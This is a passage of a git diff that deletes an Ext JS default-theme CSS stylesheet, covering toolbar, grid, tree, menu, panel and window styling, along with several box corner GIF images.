background-color:#d0def0; - background-image:url(../images/default/toolbar/bg.gif); -} - -.x-toolbar td,.x-toolbar span,.x-toolbar input,.x-toolbar div,.x-toolbar select,.x-toolbar label{ - font:normal 11px arial,tahoma, helvetica, sans-serif; -} - -.x-toolbar .x-item-disabled { - color:gray; -} - -.x-toolbar .x-item-disabled * { - color:gray; -} - -.x-toolbar .x-btn-mc em.x-btn-split { - background-image:url(../images/default/button/s-arrow-noline.gif); -} - -.x-toolbar .x-btn-over .x-btn-mc em.x-btn-split, .x-toolbar .x-btn-click .x-btn-mc em.x-btn-split, -.x-toolbar .x-btn-menu-active .x-btn-mc em.x-btn-split, .x-toolbar .x-btn-pressed .x-btn-mc em.x-btn-split -{ - background-image:url(../images/default/button/s-arrow-o.gif); -} - -.x-toolbar .x-btn-mc em.x-btn-split-bottom { - background-image:url(../images/default/button/s-arrow-b-noline.gif); -} - -.x-toolbar .x-btn-over .x-btn-mc em.x-btn-split-bottom, .x-toolbar .x-btn-click .x-btn-mc em.x-btn-split-bottom, -.x-toolbar .x-btn-menu-active .x-btn-mc em.x-btn-split-bottom, .x-toolbar .x-btn-pressed .x-btn-mc em.x-btn-split-bottom -{ - background-image:url(../images/default/button/s-arrow-bo.gif); -} - -.x-toolbar .xtb-sep { - background-image: url(../images/default/grid/grid-blue-split.gif); -} - -.x-tbar-page-first{ - background-image: url(../images/default/grid/page-first.gif) !important; -} - -.x-tbar-loading{ - background-image: url(../images/default/grid/refresh.gif) !important; -} - -.x-tbar-page-last{ - background-image: url(../images/default/grid/page-last.gif) !important; -} - -.x-tbar-page-next{ - background-image: url(../images/default/grid/page-next.gif) !important; -} - -.x-tbar-page-prev{ - background-image: url(../images/default/grid/page-prev.gif) !important; -} - -.x-item-disabled .x-tbar-loading{ - background-image: url(../images/default/grid/refresh-disabled.gif) !important; -} - -.x-item-disabled .x-tbar-page-first{ - background-image: url(../images/default/grid/page-first-disabled.gif) !important; -} - -.x-item-disabled .x-tbar-page-last{ - background-image: url(../images/default/grid/page-last-disabled.gif) !important; -} - -.x-item-disabled .x-tbar-page-next{ - background-image: url(../images/default/grid/page-next-disabled.gif) !important; -} - -.x-item-disabled .x-tbar-page-prev{ - background-image: url(../images/default/grid/page-prev-disabled.gif) !important; -} - -.x-paging-info { - color:#444; -} - -.x-toolbar-more-icon { - background-image: url(../images/default/toolbar/more.gif) !important; -}.x-resizable-handle { - background-color:#fff; -} - -.x-resizable-over .x-resizable-handle-east, .x-resizable-pinned .x-resizable-handle-east, -.x-resizable-over .x-resizable-handle-west, .x-resizable-pinned .x-resizable-handle-west -{ - background-image:url(../images/default/sizer/e-handle.gif); -} - -.x-resizable-over .x-resizable-handle-south, .x-resizable-pinned .x-resizable-handle-south, -.x-resizable-over .x-resizable-handle-north, .x-resizable-pinned .x-resizable-handle-north -{ - background-image:url(../images/default/sizer/s-handle.gif); -} - -.x-resizable-over .x-resizable-handle-north, .x-resizable-pinned .x-resizable-handle-north{ - background-image:url(../images/default/sizer/s-handle.gif); -} -.x-resizable-over .x-resizable-handle-southeast, .x-resizable-pinned .x-resizable-handle-southeast{ - background-image:url(../images/default/sizer/se-handle.gif); -} -.x-resizable-over .x-resizable-handle-northwest, .x-resizable-pinned .x-resizable-handle-northwest{ - background-image:url(../images/default/sizer/nw-handle.gif); -} -.x-resizable-over .x-resizable-handle-northeast, .x-resizable-pinned .x-resizable-handle-northeast{ - background-image:url(../images/default/sizer/ne-handle.gif); -} -.x-resizable-over .x-resizable-handle-southwest, .x-resizable-pinned .x-resizable-handle-southwest{ - background-image:url(../images/default/sizer/sw-handle.gif); -} -.x-resizable-proxy{ - border-color:#3b5a82; -} -.x-resizable-overlay{ - background-color:#fff; -} -.x-grid3 { - background-color:#fff; -} - -.x-grid-panel .x-panel-mc .x-panel-body { - border-color:#99bbe8; -} - -.x-grid3-row td, .x-grid3-summary-row td{ - font:normal 11px/13px arial, tahoma, helvetica, sans-serif; -} - -.x-grid3-hd-row td { - font:normal 11px/15px arial, tahoma, helvetica, sans-serif; -} - - -.x-grid3-hd-row td { - border-left-color:#eee; - border-right-color:#d0d0d0; -} - -.x-grid-row-loading { - background-color: #fff; - background-image:url(../images/default/shared/loading-balls.gif); -} - -.x-grid3-row { - border-color:#ededed; - border-top-color:#fff; -} - -.x-grid3-row-alt{ - background-color:#fafafa; -} - -.x-grid3-row-over { - border-color:#ddd; - background-color:#efefef; - background-image:url(../images/default/grid/row-over.gif); -} - -.x-grid3-resize-proxy { - background-color:#777; -} - -.x-grid3-resize-marker { - background-color:#777; -} - -.x-grid3-header{ - background-color:#f9f9f9; - background-image:url(../images/default/grid/grid3-hrow.gif); -} - -.x-grid3-header-pop { - border-left-color:#d0d0d0; -} - -.x-grid3-header-pop-inner { - border-left-color:#eee; - background-image:url(../images/default/grid/hd-pop.gif); -} - -td.x-grid3-hd-over, td.sort-desc, td.sort-asc, td.x-grid3-hd-menu-open { - border-left-color:#aaccf6; - border-right-color:#aaccf6; -} - -td.x-grid3-hd-over .x-grid3-hd-inner, td.sort-desc .x-grid3-hd-inner, td.sort-asc .x-grid3-hd-inner, td.x-grid3-hd-menu-open .x-grid3-hd-inner { - background-color:#ebf3fd; - background-image:url(../images/default/grid/grid3-hrow-over.gif); - -} - -.sort-asc .x-grid3-sort-icon { - background-image: url(../images/default/grid/sort_asc.gif); -} - -.sort-desc .x-grid3-sort-icon { - background-image: url(../images/default/grid/sort_desc.gif); -} - -.x-grid3-cell-text, .x-grid3-hd-text { - color:#000; -} - -.x-grid3-split { - background-image: url(../images/default/grid/grid-split.gif); -} - -.x-grid3-hd-text { - color:#15428b; -} - -.x-dd-drag-proxy .x-grid3-hd-inner{ - background-color:#ebf3fd; - background-image:url(../images/default/grid/grid3-hrow-over.gif); - border-color:#aaccf6; -} - -.col-move-top{ - background-image:url(../images/default/grid/col-move-top.gif); -} - -.col-move-bottom{ - background-image:url(../images/default/grid/col-move-bottom.gif); -} - -td.grid-hd-group-cell { - background: url(../images/default/grid/grid3-hrow.gif) repeat-x bottom; -} - -.x-grid3-row-selected { - background-color: #dfe8f6 !important; - background-image: none; - border-color:#a3bae9; -} - -.x-grid3-cell-selected{ - background-color: #b8cfee !important; - color:#000; -} - -.x-grid3-cell-selected span{ - color:#000 !important; -} - -.x-grid3-cell-selected .x-grid3-cell-text{ - color:#000; -} - -.x-grid3-locked td.x-grid3-row-marker, .x-grid3-locked .x-grid3-row-selected td.x-grid3-row-marker{ - background-color:#ebeadb !important; - background-image:url(../images/default/grid/grid-hrow.gif) !important; - color:#000; - border-top-color:#fff; - border-right-color:#6fa0df !important; -} - -.x-grid3-locked td.x-grid3-row-marker div, .x-grid3-locked .x-grid3-row-selected td.x-grid3-row-marker div{ - color:#15428b !important; -} - -.x-grid3-dirty-cell { - background-image:url(../images/default/grid/dirty.gif); -} - -.x-grid3-topbar, .x-grid3-bottombar{ - font:normal 11px arial, tahoma, helvetica, sans-serif; -} - -.x-grid3-bottombar .x-toolbar{ - border-top-color:#a9bfd3; -} - -.x-props-grid .x-grid3-td-name .x-grid3-cell-inner{ - background-image:url(../images/default/grid/grid3-special-col-bg.gif) !important; - color:#000 !important; -} - -.x-props-grid .x-grid3-body .x-grid3-td-name{ - background-color:#fff !important; - border-right-color:#eee; -} - -.xg-hmenu-sort-asc .x-menu-item-icon{ - background-image: url(../images/default/grid/hmenu-asc.gif); -} - -.xg-hmenu-sort-desc .x-menu-item-icon{ - background-image: url(../images/default/grid/hmenu-desc.gif); -} - -.xg-hmenu-lock .x-menu-item-icon{ - background-image: url(../images/default/grid/hmenu-lock.gif); -} - -.xg-hmenu-unlock .x-menu-item-icon{ - background-image: url(../images/default/grid/hmenu-unlock.gif); -} - -.x-grid3-hd-btn { - background-color:#c3daf9; - background-image:url(../images/default/grid/grid3-hd-btn.gif); -} - -.x-grid3-body .x-grid3-td-expander { - background-image:url(../images/default/grid/grid3-special-col-bg.gif); -} - -.x-grid3-row-expander { - background-image:url(../images/default/grid/row-expand-sprite.gif); -} - -.x-grid3-body .x-grid3-td-checker { - background-image: url(../images/default/grid/grid3-special-col-bg.gif); -} - -.x-grid3-row-checker, .x-grid3-hd-checker { - background-image:url(../images/default/grid/row-check-sprite.gif); -} - -.x-grid3-body .x-grid3-td-numberer { - background-image:url(../images/default/grid/grid3-special-col-bg.gif); -} - -.x-grid3-body .x-grid3-td-numberer .x-grid3-cell-inner { - color:#444; -} - -.x-grid3-body .x-grid3-td-row-icon { - background-image:url(../images/default/grid/grid3-special-col-bg.gif); -} - -.x-grid3-body .x-grid3-row-selected .x-grid3-td-numberer, -.x-grid3-body .x-grid3-row-selected .x-grid3-td-checker, -.x-grid3-body .x-grid3-row-selected .x-grid3-td-expander { - background-image:url(../images/default/grid/grid3-special-col-sel-bg.gif); -} - -.x-grid3-check-col { - background-image:url(../images/default/menu/unchecked.gif); -} - -.x-grid3-check-col-on { - background-image:url(../images/default/menu/checked.gif); -} - -.x-grid-group, .x-grid-group-body, .x-grid-group-hd { - zoom:1; -} - -.x-grid-group-hd { - border-bottom-color:#99bbe8; -} - -.x-grid-group-hd div.x-grid-group-title { - background-image:url(../images/default/grid/group-collapse.gif); - color:#3764a0; - font:bold 11px tahoma, arial, helvetica, sans-serif; -} - -.x-grid-group-collapsed .x-grid-group-hd div.x-grid-group-title { - background-image:url(../images/default/grid/group-expand.gif); -} - -.x-group-by-icon { - background-image:url(../images/default/grid/group-by.gif); -} - -.x-cols-icon { - background-image:url(../images/default/grid/columns.gif); -} - -.x-show-groups-icon { - background-image:url(../images/default/grid/group-by.gif); -} - -.x-grid-empty { - color:gray; - font:normal 11px tahoma, arial, helvetica, sans-serif; -} - -.x-grid-with-col-lines .x-grid3-row td.x-grid3-cell { - border-right-color:#ededed; -} - -.x-grid-with-col-lines .x-grid3-row-selected { - border-top-color:#a3bae9; -}.x-pivotgrid .x-grid3-header-offset table td { - background: url(../images/default/grid/grid3-hrow.gif) repeat-x 50% 100%; - border-left: 1px solid; - border-right: 1px solid; - border-left-color: #EEE; - border-right-color: #D0D0D0; -} - -.x-pivotgrid .x-grid3-row-headers { - background-color: #f9f9f9; -} - -.x-pivotgrid .x-grid3-row-headers table td { - background: #EEE url(../images/default/grid/grid3-rowheader.gif) repeat-x left top; - border-left: 1px solid; - border-right: 1px solid; - border-left-color: #EEE; - border-right-color: #D0D0D0; - border-bottom: 1px solid; - border-bottom-color: #D0D0D0; - height: 18px; -} -.x-dd-drag-ghost{ - color:#000; - font: normal 11px arial, helvetica, sans-serif; - border-color: #ddd #bbb #bbb #ddd; - background-color:#fff; -} - -.x-dd-drop-nodrop .x-dd-drop-icon{ - background-image: url(../images/default/dd/drop-no.gif); -} - -.x-dd-drop-ok .x-dd-drop-icon{ - background-image: url(../images/default/dd/drop-yes.gif); -} - -.x-dd-drop-ok-add .x-dd-drop-icon{ - background-image: url(../images/default/dd/drop-add.gif); -} - -.x-view-selector { - background-color:#c3daf9; - border-color:#3399bb; -}.x-tree-node-expanded .x-tree-node-icon{ - background-image:url(../images/default/tree/folder-open.gif); -} - -.x-tree-node-leaf .x-tree-node-icon{ - background-image:url(../images/default/tree/folder.gif); -} - -.x-tree-node-collapsed .x-tree-node-icon{ - background-image:url(../images/default/tree/folder.gif); -} - -.x-tree-node-loading .x-tree-node-icon{ - background-image:url(../images/default/tree/loading.gif) !important; -} - -.x-tree-node .x-tree-node-inline-icon { - background-image: none; -} - -.x-tree-node-loading a span{ - font-style: italic; - color:#444444; -} - -.x-tree-lines .x-tree-elbow{ - background-image:url(../images/default/tree/elbow.gif); -} - -.x-tree-lines .x-tree-elbow-plus{ - background-image:url(../images/default/tree/elbow-plus.gif); -} - -.x-tree-lines .x-tree-elbow-minus{ - background-image:url(../images/default/tree/elbow-minus.gif); -} - -.x-tree-lines .x-tree-elbow-end{ - background-image:url(../images/default/tree/elbow-end.gif); -} - -.x-tree-lines .x-tree-elbow-end-plus{ - background-image:url(../images/default/tree/elbow-end-plus.gif); -} - -.x-tree-lines .x-tree-elbow-end-minus{ - background-image:url(../images/default/tree/elbow-end-minus.gif); -} - -.x-tree-lines .x-tree-elbow-line{ - background-image:url(../images/default/tree/elbow-line.gif); -} - -.x-tree-no-lines .x-tree-elbow-plus{ - background-image:url(../images/default/tree/elbow-plus-nl.gif); -} - -.x-tree-no-lines .x-tree-elbow-minus{ - background-image:url(../images/default/tree/elbow-minus-nl.gif); -} - -.x-tree-no-lines .x-tree-elbow-end-plus{ - background-image:url(../images/default/tree/elbow-end-plus-nl.gif); -} - -.x-tree-no-lines .x-tree-elbow-end-minus{ - background-image:url(../images/default/tree/elbow-end-minus-nl.gif); -} - -.x-tree-arrows .x-tree-elbow-plus{ - background-image:url(../images/default/tree/arrows.gif); -} - -.x-tree-arrows .x-tree-elbow-minus{ - background-image:url(../images/default/tree/arrows.gif); -} - -.x-tree-arrows .x-tree-elbow-end-plus{ - background-image:url(../images/default/tree/arrows.gif); -} - -.x-tree-arrows .x-tree-elbow-end-minus{ - background-image:url(../images/default/tree/arrows.gif); -} - -.x-tree-node{ - color:#000; - font: normal 11px arial, tahoma, helvetica, sans-serif; -} - -.x-tree-node a, .x-dd-drag-ghost a{ - color:#000; -} - -.x-tree-node a span, .x-dd-drag-ghost a span{ - color:#000; -} - -.x-tree-node .x-tree-node-disabled a span{ - color:gray !important; -} - -.x-tree-node div.x-tree-drag-insert-below{ - border-bottom-color:#36c; -} - -.x-tree-node div.x-tree-drag-insert-above{ - border-top-color:#36c; -} - -.x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-below a{ - border-bottom-color:#36c; -} - -.x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-above a{ - border-top-color:#36c; -} - -.x-tree-node .x-tree-drag-append a span{ - background-color:#ddd; - border-color:gray; -} - -.x-tree-node .x-tree-node-over { - background-color: #eee; -} - -.x-tree-node .x-tree-selected { - background-color: #d9e8fb; -} - -.x-tree-drop-ok-append .x-dd-drop-icon{ - background-image: url(../images/default/tree/drop-add.gif); -} - -.x-tree-drop-ok-above .x-dd-drop-icon{ - background-image: url(../images/default/tree/drop-over.gif); -} - -.x-tree-drop-ok-below .x-dd-drop-icon{ - background-image: url(../images/default/tree/drop-under.gif); -} - -.x-tree-drop-ok-between .x-dd-drop-icon{ - background-image: url(../images/default/tree/drop-between.gif); -}.x-date-picker { - border-color: #1b376c; - background-color:#fff; -} - -.x-date-middle,.x-date-left,.x-date-right { - background-image: url(../images/default/shared/hd-sprite.gif); - color:#fff; - font:bold 11px "sans serif", tahoma, verdana, helvetica; -} - -.x-date-middle .x-btn .x-btn-text { - color:#fff; -} - -.x-date-middle .x-btn-mc em.x-btn-arrow { - background-image:url(../images/default/toolbar/btn-arrow-light.gif); -} - -.x-date-right a { - background-image: url(../images/default/shared/right-btn.gif); -} - -.x-date-left a{ - background-image: url(../images/default/shared/left-btn.gif); -} - -.x-date-inner th { - background-color:#dfecfb; - background-image:url(../images/default/shared/glass-bg.gif); - border-bottom-color:#a3bad9; - font:normal 10px arial, helvetica,tahoma,sans-serif; - color:#233d6d; -} - -.x-date-inner td { - border-color:#fff; -} - -.x-date-inner a { - font:normal 11px arial, helvetica,tahoma,sans-serif; - color:#000; -} - -.x-date-inner .x-date-active{ - color:#000; -} - -.x-date-inner .x-date-selected a{ - background-color:#dfecfb; - background-image:url(../images/default/shared/glass-bg.gif); - border-color:#8db2e3; -} - -.x-date-inner .x-date-today a{ - border-color:darkred; -} - -.x-date-inner .x-date-selected span{ - font-weight:bold; -} - -.x-date-inner .x-date-prevday a,.x-date-inner .x-date-nextday a { - color:#aaa; -} - -.x-date-bottom { - border-top-color:#a3bad9; - background-color:#dfecfb; - background-image:url(../images/default/shared/glass-bg.gif); -} - -.x-date-inner a:hover, .x-date-inner .x-date-disabled a:hover{ - color:#000; - background-color:#ddecfe; -} - -.x-date-inner .x-date-disabled a { - background-color:#eee; - color:#bbb; -} - -.x-date-mmenu{ - background-color:#eee !important; -} - -.x-date-mmenu .x-menu-item { - font-size:10px; - color:#000; -} - -.x-date-mp { - background-color:#fff; -} - -.x-date-mp td { - font:normal 11px arial, helvetica,tahoma,sans-serif; -} - -.x-date-mp-btns button { - background-color:#083772; - color:#fff; - border-color: #3366cc #000055 #000055 #3366cc; - font:normal 11px arial, helvetica,tahoma,sans-serif; -} - -.x-date-mp-btns { - background-color: #dfecfb; - background-image: url(../images/default/shared/glass-bg.gif); -} - -.x-date-mp-btns td { - border-top-color: #c5d2df; -} - -td.x-date-mp-month a,td.x-date-mp-year a { - color:#15428b; -} - -td.x-date-mp-month a:hover,td.x-date-mp-year a:hover { - color:#15428b; - background-color: #ddecfe; -} - -td.x-date-mp-sel a { - background-color: #dfecfb; - background-image: url(../images/default/shared/glass-bg.gif); - border-color:#8db2e3; -} - -.x-date-mp-ybtn a { - background-image:url(../images/default/panel/tool-sprites.gif); -} - -td.x-date-mp-sep { - border-right-color:#c5d2df; -}.x-tip .x-tip-close{ - background-image: url(../images/default/qtip/close.gif); -} - -.x-tip .x-tip-tc, .x-tip .x-tip-tl, .x-tip .x-tip-tr, .x-tip .x-tip-bc, .x-tip .x-tip-bl, .x-tip .x-tip-br, .x-tip .x-tip-ml, .x-tip .x-tip-mr { - background-image: url(../images/default/qtip/tip-sprite.gif); -} - -.x-tip .x-tip-mc { - font: normal 11px tahoma,arial,helvetica,sans-serif; -} -.x-tip .x-tip-ml { - background-color: #fff; -} - -.x-tip .x-tip-header-text { - font: bold 11px tahoma,arial,helvetica,sans-serif; - color:#444; -} - -.x-tip .x-tip-body { - font: normal 11px tahoma,arial,helvetica,sans-serif; - color:#444; -} - -.x-form-invalid-tip .x-tip-tc, .x-form-invalid-tip .x-tip-tl, .x-form-invalid-tip .x-tip-tr, .x-form-invalid-tip .x-tip-bc, -.x-form-invalid-tip .x-tip-bl, .x-form-invalid-tip .x-tip-br, .x-form-invalid-tip .x-tip-ml, .x-form-invalid-tip .x-tip-mr -{ - background-image: url(../images/default/form/error-tip-corners.gif); -} - -.x-form-invalid-tip .x-tip-body { - background-image:url(../images/default/form/exclamation.gif); -} - -.x-tip-anchor { - background-image:url(../images/default/qtip/tip-anchor-sprite.gif); -}.x-menu { - background-color:#f0f0f0; - background-image:url(../images/default/menu/menu.gif); -} - -.x-menu-floating{ - border-color:#718bb7; -} - -.x-menu-nosep { - background-image:none; -} - -.x-menu-list-item{ - font:normal 11px arial,tahoma,sans-serif; -} - -.x-menu-item-arrow{ - background-image:url(../images/default/menu/menu-parent.gif); -} - -.x-menu-sep { - background-color:#e0e0e0; - border-bottom-color:#fff; -} - -a.x-menu-item { - color:#222; -} - -.x-menu-item-active { - background-image: url(../images/default/menu/item-over.gif); - background-color: #dbecf4; - border-color:#aaccf6; -} - -.x-menu-item-active a.x-menu-item { - border-color:#aaccf6; -} - -.x-menu-check-item .x-menu-item-icon{ - background-image:url(../images/default/menu/unchecked.gif); -} - -.x-menu-item-checked .x-menu-item-icon{ - background-image:url(../images/default/menu/checked.gif); -} - -.x-menu-item-checked .x-menu-group-item .x-menu-item-icon{ - background-image:url(../images/default/menu/group-checked.gif); -} - -.x-menu-group-item .x-menu-item-icon{ - background-image:none; -} - -.x-menu-plain { - background-color:#f0f0f0 !important; - background-image: none; -} - -.x-date-menu, .x-color-menu{ - background-color: #fff !important; -} - -.x-menu .x-date-picker{ - border-color:#a3bad9; -} - -.x-cycle-menu .x-menu-item-checked { - border-color:#a3bae9 !important; - background-color:#def8f6; -} - -.x-menu-scroller-top { - background-image:url(../images/default/layout/mini-top.gif); -} - -.x-menu-scroller-bottom { - background-image:url(../images/default/layout/mini-bottom.gif); -} -.x-box-tl { - background-image: url(../images/default/box/corners.gif); -} - -.x-box-tc { - background-image: url(../images/default/box/tb.gif); -} - -.x-box-tr { - background-image: url(../images/default/box/corners.gif); -} - -.x-box-ml { - background-image: url(../images/default/box/l.gif); -} - -.x-box-mc { - background-color: #eee; - background-image: url(../images/default/box/tb.gif); - font-family: "Myriad Pro","Myriad Web","Tahoma","Helvetica","Arial",sans-serif; - color: #393939; - font-size: 12px; -} - -.x-box-mc h3 { - font-size: 14px; - font-weight: bold; -} - -.x-box-mr { - background-image: url(../images/default/box/r.gif); -} - -.x-box-bl { - background-image: url(../images/default/box/corners.gif); -} - -.x-box-bc { - background-image: url(../images/default/box/tb.gif); -} - -.x-box-br { - background-image: url(../images/default/box/corners.gif); -} - -.x-box-blue .x-box-bl, .x-box-blue .x-box-br, .x-box-blue .x-box-tl, .x-box-blue .x-box-tr { - background-image: url(../images/default/box/corners-blue.gif); -} - -.x-box-blue .x-box-bc, .x-box-blue .x-box-mc, .x-box-blue .x-box-tc { - background-image: url(../images/default/box/tb-blue.gif); -} - -.x-box-blue .x-box-mc { - background-color: #c3daf9; -} - -.x-box-blue .x-box-mc h3 { - color: #17385b; -} - -.x-box-blue .x-box-ml { - background-image: url(../images/default/box/l-blue.gif); -} - -.x-box-blue .x-box-mr { - background-image: url(../images/default/box/r-blue.gif); -}.x-combo-list { - border-color:#98c0f4; - background-color:#ddecfe; - font:normal 12px tahoma, arial, helvetica, sans-serif; -} - -.x-combo-list-inner { - background-color:#fff; -} - -.x-combo-list-hd { - font:bold 11px tahoma, arial, helvetica, sans-serif; - color:#15428b; - background-image: url(../images/default/layout/panel-title-light-bg.gif); - border-bottom-color:#98c0f4; -} - -.x-resizable-pinned .x-combo-list-inner { - border-bottom-color:#98c0f4; -} - -.x-combo-list-item { - border-color:#fff; -} - -.x-combo-list .x-combo-selected{ - border-color:#a3bae9 !important; - background-color:#dfe8f6; -} - -.x-combo-list .x-toolbar { - border-top-color:#98c0f4; -} - -.x-combo-list-small { - font:normal 11px tahoma, arial, helvetica, sans-serif; -}.x-panel { - border-color: #99bbe8; -} - -.x-panel-header { - color:#15428b; - font-weight:bold; - font-size: 11px; - font-family: tahoma,arial,verdana,sans-serif; - border-color:#99bbe8; - background-image: url(../images/default/panel/white-top-bottom.gif); -} - -.x-panel-body { - border-color:#99bbe8; - background-color:#fff; -} - -.x-panel-bbar .x-toolbar, .x-panel-tbar .x-toolbar { - border-color:#99bbe8; -} - -.x-panel-tbar-noheader .x-toolbar, .x-panel-mc .x-panel-tbar .x-toolbar { - border-top-color:#99bbe8; -} - -.x-panel-body-noheader, .x-panel-mc .x-panel-body { - border-top-color:#99bbe8; -} - -.x-panel-tl .x-panel-header { - color:#15428b; - font:bold 11px tahoma,arial,verdana,sans-serif; -} - -.x-panel-tc { - background-image: url(../images/default/panel/top-bottom.gif); -} - -.x-panel-tl, .x-panel-tr, .x-panel-bl, .x-panel-br{ - background-image: url(../images/default/panel/corners-sprite.gif); - border-bottom-color:#99bbe8; -} - -.x-panel-bc { - background-image: url(../images/default/panel/top-bottom.gif); -} - -.x-panel-mc { - font: normal 11px tahoma,arial,helvetica,sans-serif; - background-color:#dfe8f6; -} - -.x-panel-ml { - background-color: #fff; - background-image:url(../images/default/panel/left-right.gif); -} - -.x-panel-mr { - background-image: url(../images/default/panel/left-right.gif); -} - -.x-tool { - background-image:url(../images/default/panel/tool-sprites.gif); -} - -.x-panel-ghost { - background-color:#cbddf3; -} - -.x-panel-ghost ul { - border-color:#99bbe8; -} - -.x-panel-dd-spacer { - border-color:#99bbe8; -} - -.x-panel-fbar td,.x-panel-fbar span,.x-panel-fbar input,.x-panel-fbar div,.x-panel-fbar select,.x-panel-fbar label{ - font:normal 11px arial,tahoma, helvetica, sans-serif; -} -.x-window-proxy { - background-color:#c7dffc; - border-color:#99bbe8; -} - -.x-window-tl .x-window-header { - color:#15428b; - font:bold 11px tahoma,arial,verdana,sans-serif; -} - -.x-window-tc { - background-image: url(../images/default/window/top-bottom.png); -} - -.x-window-tl { - background-image: url(../images/default/window/left-corners.png); -} - -.x-window-tr { - background-image: url(../images/default/window/right-corners.png); -} - -.x-window-bc { - background-image: url(../images/default/window/top-bottom.png); -} - -.x-window-bl { - background-image: url(../images/default/window/left-corners.png); -} - -.x-window-br { - background-image: url(../images/default/window/right-corners.png); -} - -.x-window-mc { - border-color:#99bbe8; - font: normal 11px tahoma,arial,helvetica,sans-serif; - background-color:#dfe8f6; -} - -.x-window-ml { - background-image: url(../images/default/window/left-right.png); -} - -.x-window-mr { - background-image: url(../images/default/window/left-right.png); -} - -.x-window-maximized .x-window-tc { - background-color:#fff; -} - -.x-window-bbar .x-toolbar { - border-top-color:#99bbe8; -} - -.x-panel-ghost .x-window-tl { - border-bottom-color:#99bbe8; -} - -.x-panel-collapsed .x-window-tl { - border-bottom-color:#84a0c4; -} - -.x-dlg-mask{ - background-color:#ccc; -} - -.x-window-plain .x-window-mc { - background-color: #ccd9e8; - border-color: #a3bae9 #dfe8f6 #dfe8f6 #a3bae9; -} - -.x-window-plain .x-window-body { - border-color: #dfe8f6 #a3bae9 #a3bae9 #dfe8f6; -} - -body.x-body-masked .x-window-plain .x-window-mc { - background-color: #ccd9e8; -}.x-html-editor-wrap { - border-color:#a9bfd3; - background-color:#fff; -} -.x-html-editor-tb .x-btn-text { - background-image:url(../images/default/editor/tb-sprite.gif); -}.x-panel-noborder .x-panel-header-noborder { - border-bottom-color:#99bbe8; -} - -.x-panel-noborder .x-panel-tbar-noborder .x-toolbar { - border-bottom-color:#99bbe8; -} - -.x-panel-noborder .x-panel-bbar-noborder .x-toolbar { - border-top-color:#99bbe8; -} - -.x-tab-panel-bbar-noborder .x-toolbar { - border-top-color:#99bbe8; -} - -.x-tab-panel-tbar-noborder .x-toolbar { - border-bottom-color:#99bbe8; -}.x-border-layout-ct { - background-color:#dfe8f6; -} - -.x-accordion-hd { - color:#222; - font-weight:normal; - background-image: url(../images/default/panel/light-hd.gif); -} - -.x-layout-collapsed{ - background-color:#d2e0f2; - border-color:#98c0f4; -} - -.x-layout-collapsed-over{ - background-color:#d9e8fb; -} - -.x-layout-split-west .x-layout-mini { - background-image:url(../images/default/layout/mini-left.gif); -} -.x-layout-split-east .x-layout-mini { - background-image:url(../images/default/layout/mini-right.gif); -} -.x-layout-split-north .x-layout-mini { - background-image:url(../images/default/layout/mini-top.gif); -} -.x-layout-split-south .x-layout-mini { - background-image:url(../images/default/layout/mini-bottom.gif); -} - -.x-layout-cmini-west .x-layout-mini { - background-image:url(../images/default/layout/mini-right.gif); -} - -.x-layout-cmini-east .x-layout-mini { - background-image:url(../images/default/layout/mini-left.gif); -} - -.x-layout-cmini-north .x-layout-mini { - background-image:url(../images/default/layout/mini-bottom.gif); -} - -.x-layout-cmini-south .x-layout-mini { - background-image:url(../images/default/layout/mini-top.gif); -}.x-progress-wrap { - border-color:#6593cf; -} - -.x-progress-inner { - background-color:#e0e8f3; - background-image:url(../images/default/qtip/bg.gif); -} - -.x-progress-bar { - background-color:#9cbfee; - background-image:url(../images/default/progress/progress-bg.gif); - border-top-color:#d1e4fd; - border-bottom-color:#7fa9e4; - border-right-color:#7fa9e4; -} - -.x-progress-text { - font-size:11px; - font-weight:bold; - color:#fff; -} - -.x-progress-text-back { - color:#396095; -}.x-list-header{ - background-color:#f9f9f9; - background-image:url(../images/default/grid/grid3-hrow.gif); -} - -.x-list-header-inner div em { - border-left-color:#ddd; - font:normal 11px arial, tahoma, helvetica, sans-serif; -} - -.x-list-body dt em { - font:normal 11px arial, tahoma, helvetica, sans-serif; -} - -.x-list-over { - background-color:#eee; -} - -.x-list-selected { - background-color:#dfe8f6; -} - -.x-list-resizer { - border-left-color:#555; - border-right-color:#555; -} - -.x-list-header-inner em.sort-asc, .x-list-header-inner em.sort-desc { - background-image:url(../images/default/grid/sort-hd.gif); - border-color: #99bbe8; -}.x-slider-horz, .x-slider-horz .x-slider-end, .x-slider-horz .x-slider-inner { - background-image:url(../images/default/slider/slider-bg.png); -} - -.x-slider-horz .x-slider-thumb { - background-image:url(../images/default/slider/slider-thumb.png); -} - -.x-slider-vert, .x-slider-vert .x-slider-end, .x-slider-vert .x-slider-inner { - background-image:url(../images/default/slider/slider-v-bg.png); -} - -.x-slider-vert .x-slider-thumb { - background-image:url(../images/default/slider/slider-v-thumb.png); -}.x-window-dlg .ext-mb-text, -.x-window-dlg .x-window-header-text { - font-size:12px; -} - -.x-window-dlg .ext-mb-textarea { - font:normal 12px tahoma,arial,helvetica,sans-serif; -} - -.x-window-dlg .x-msg-box-wait { - background-image:url(../images/default/grid/loading.gif); -} - -.x-window-dlg .ext-mb-info { - background-image:url(../images/default/window/icon-info.gif); -} - -.x-window-dlg .ext-mb-warning { - background-image:url(../images/default/window/icon-warning.gif); -} - -.x-window-dlg .ext-mb-question { - background-image:url(../images/default/window/icon-question.gif); -} - -.x-window-dlg .ext-mb-error { - background-image:url(../images/default/window/icon-error.gif); -} \ No newline at end of file diff --git a/public/images/default/box/corners-blue.gif b/public/images/default/box/corners-blue.gif deleted file mode 100644 index fa419b50a..000000000 Binary files a/public/images/default/box/corners-blue.gif and /dev/null differ diff --git a/public/images/default/box/corners.gif b/public/images/default/box/corners.gif deleted file mode 100644 index 8aa8cae5c..000000000 Binary files a/public/images/default/box/corners.gif and /dev/null differ diff --git a/public/images/default/box/l-blue.gif b/public/images/default/box/l-blue.gif deleted file mode 100644 index 5ed7f0043..000000000 Binary files a/public/images/default/box/l-blue.gif and /dev/null differ diff --git a/public/images/default/box/l.gif b/public/images/default/box/l.gif deleted file mode 100644 index 0160f97fe..000000000 Binary files a/public/images/default/box/l.gif and /dev/null differ diff --git a/public/images/default/box/r-blue.gif b/public/images/default/box/r-blue.gif deleted file mode 100644 index 3ea5cae3b..000000000 Binary files a/public/images/default/box/r-blue.gif and /dev/null differ diff --git a/public/images/default/box/r.gif b/public/images/default/box/r.gif deleted file mode 100644 index 34237f629..000000000 Binary files a/public/images/default/box/r.gif and /dev/null differ diff --git 